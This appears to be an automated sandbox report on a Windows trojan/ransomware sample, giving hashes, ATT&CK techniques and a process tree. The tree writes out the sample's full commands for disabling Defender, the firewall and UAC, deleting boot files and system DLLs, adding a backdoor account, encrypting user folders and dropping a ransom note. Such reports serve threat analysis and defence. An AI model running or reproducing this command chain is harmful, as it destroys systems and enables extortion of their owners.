107f607b653ea8970942e1afeb009b78c9608fede73afeb9e05bb9855fa2800d

Analysis

max time kernel
3s
max time network
3s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/11/2024, 15:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Trojan.GuestVirus.exe
Size 250KB
Sample241108-s7whwsvdpg
SHA256 107f607b653ea8970942e1afeb009b78c9608fede73afeb9e05bb9855fa2800d
MD5 6d8741de0bedf78da62e5138cc0f0101
SHA1 eb371e569f3de7f15efb9eead1fa47cb585f7729
SHA512 4eb1320a27fdc01547f18eaae98405fd2676fb3117b354d201cf1ded61ccdb5cb16772d55d823705a7204380ef175bd1e847438c44272602290abccae2fa9794
SSDEEP 3072:fiLIU4FDZc5Ar8lRme7RZnCvz2O1qPZg6Qea/zjFXSVuiWFExZ2CExpa:f7FDmbmOxCv/LdsuNPpa
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

bootkit defense_evasion evasion execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4848	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Modifies boot configuration data using bcdedit 3 IoCs

pid	Process
5060	bcdedit.exe
4540	bcdedit.exe
1288	bcdedit.exe

System Binary Proxy Execution: Verclsid 1 TTPs 1 IoCs

Adversaries may abuse Verclsid to proxy execution of malicious code.

defense_evasion

Verclsid

T1218.012

pid	Process
2232	verclsid.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Trojan.GuestVirus.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1932	sc.exe
4912	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
388	reg.exe
1012	reg.exe
1988	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	852	Trojan.GuestVirus.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3948	efsui.exe
3948	efsui.exe
3948	efsui.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3948	efsui.exe
3948	efsui.exe
3948	efsui.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 852 wrote to memory of 3060	852	Trojan.GuestVirus.exe	84
PID 852 wrote to memory of 3060	852	Trojan.GuestVirus.exe	84
PID 3060 wrote to memory of 5076	3060	cmd.exe	85
PID 3060 wrote to memory of 5076	3060	cmd.exe	85
PID 852 wrote to memory of 2108	852	Trojan.GuestVirus.exe	86
PID 852 wrote to memory of 2108	852	Trojan.GuestVirus.exe	86
PID 2108 wrote to memory of 4848	2108	cmd.exe	87
PID 2108 wrote to memory of 4848	2108	cmd.exe	87
PID 852 wrote to memory of 4988	852	Trojan.GuestVirus.exe	91
PID 852 wrote to memory of 4988	852	Trojan.GuestVirus.exe	91
PID 4988 wrote to memory of 1988	4988	cmd.exe	92
PID 4988 wrote to memory of 1988	4988	cmd.exe	92
PID 852 wrote to memory of 2664	852	Trojan.GuestVirus.exe	93
PID 852 wrote to memory of 2664	852	Trojan.GuestVirus.exe	93
PID 2664 wrote to memory of 1932	2664	cmd.exe	94
PID 2664 wrote to memory of 1932	2664	cmd.exe	94
PID 852 wrote to memory of 2808	852	Trojan.GuestVirus.exe	95
PID 852 wrote to memory of 2808	852	Trojan.GuestVirus.exe	95
PID 2808 wrote to memory of 4912	2808	cmd.exe	96
PID 2808 wrote to memory of 4912	2808	cmd.exe	96
PID 852 wrote to memory of 4944	852	Trojan.GuestVirus.exe	97
PID 852 wrote to memory of 4944	852	Trojan.GuestVirus.exe	97
PID 4944 wrote to memory of 388	4944	cmd.exe	98
PID 4944 wrote to memory of 388	4944	cmd.exe	98
PID 852 wrote to memory of 3268	852	Trojan.GuestVirus.exe	99
PID 852 wrote to memory of 3268	852	Trojan.GuestVirus.exe	99
PID 3268 wrote to memory of 1012	3268	cmd.exe	100
PID 3268 wrote to memory of 1012	3268	cmd.exe	100
PID 852 wrote to memory of 1620	852	Trojan.GuestVirus.exe	101
PID 852 wrote to memory of 1620	852	Trojan.GuestVirus.exe	101
PID 852 wrote to memory of 3524	852	Trojan.GuestVirus.exe	102
PID 852 wrote to memory of 3524	852	Trojan.GuestVirus.exe	102
PID 852 wrote to memory of 1808	852	Trojan.GuestVirus.exe	103
PID 852 wrote to memory of 1808	852	Trojan.GuestVirus.exe	103
PID 852 wrote to memory of 4596	852	Trojan.GuestVirus.exe	104
PID 852 wrote to memory of 4596	852	Trojan.GuestVirus.exe	104
PID 4596 wrote to memory of 1744	4596	cmd.exe	105
PID 4596 wrote to memory of 1744	4596	cmd.exe	105
PID 3524 wrote to memory of 3380	3524	cmd.exe	106
PID 3524 wrote to memory of 3380	3524	cmd.exe	106
PID 852 wrote to memory of 1532	852	Trojan.GuestVirus.exe	107
PID 852 wrote to memory of 1532	852	Trojan.GuestVirus.exe	107
PID 3380 wrote to memory of 2352	3380	net.exe	108
PID 3380 wrote to memory of 2352	3380	net.exe	108
PID 852 wrote to memory of 3720	852	Trojan.GuestVirus.exe	109
PID 852 wrote to memory of 3720	852	Trojan.GuestVirus.exe	109
PID 3720 wrote to memory of 5060	3720	cmd.exe	110
PID 3720 wrote to memory of 5060	3720	cmd.exe	110
PID 852 wrote to memory of 3348	852	Trojan.GuestVirus.exe	112
PID 852 wrote to memory of 3348	852	Trojan.GuestVirus.exe	112
PID 3348 wrote to memory of 4540	3348	cmd.exe	113
PID 3348 wrote to memory of 4540	3348	cmd.exe	113
PID 852 wrote to memory of 672	852	Trojan.GuestVirus.exe	114
PID 852 wrote to memory of 672	852	Trojan.GuestVirus.exe	114
PID 672 wrote to memory of 1288	672	cmd.exe	115
PID 672 wrote to memory of 1288	672	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe
"C:\Users\Admin\AppData\Local\Temp\Trojan.GuestVirus.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop wuauserv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config wuauserv start=disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\sc.exe
    sc config wuauserv start=disabled
    3⤵
    - Launches sc.exe
    PID:4912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - Modifies registry key
    PID:1012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\System32\winload.exe
  2⤵
  PID:1620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user TrojanUser0 ComplexPass123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\net.exe
    net user TrojanUser0 ComplexPass123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3380
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user TrojanUser0 ComplexPass123! /add
      4⤵
      PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\System32\*.dll
  2⤵
  PID:1808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /E /A /S:C:\Users\Admin\Desktop
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\cipher.exe
    cipher /E /A /S:C:\Users\Admin\Desktop
    3⤵
    PID:1744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\bootmgr
  2⤵
  PID:1532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 1 BTC to unlock. > C:\Users\Admin\Desktop\RANSOM_NOTE.txt
  2⤵
  PID:4516
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 1 BTC to unlock. > C:\Users\Admin\Desktop\RANSOM_NOTE.txt
  2⤵
  PID:3428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /E /A /S:C:\Users\Admin\Documents
  2⤵
  PID:3440
- C:\Windows\system32\cmd.exe
  cmd.exe /c cipher /E /A /S:C:\Users\Admin\Documents
  2⤵
  PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 1 BTC to unlock. > C:\Users\Admin\Documents\RANSOM_NOTE.txt
  2⤵
  PID:1232
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 1 BTC to unlock. > C:\Users\Admin\Documents\RANSOM_NOTE.txt
  2⤵
  PID:2156

C:\Windows\system32\efsui.exe
efsui.exe /efs /keybackup
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3948

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {B2952B16-0E07-4E5A-B993-58C52CB94CAE} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
1⤵
- System Binary Proxy Execution: Verclsid
PID:2232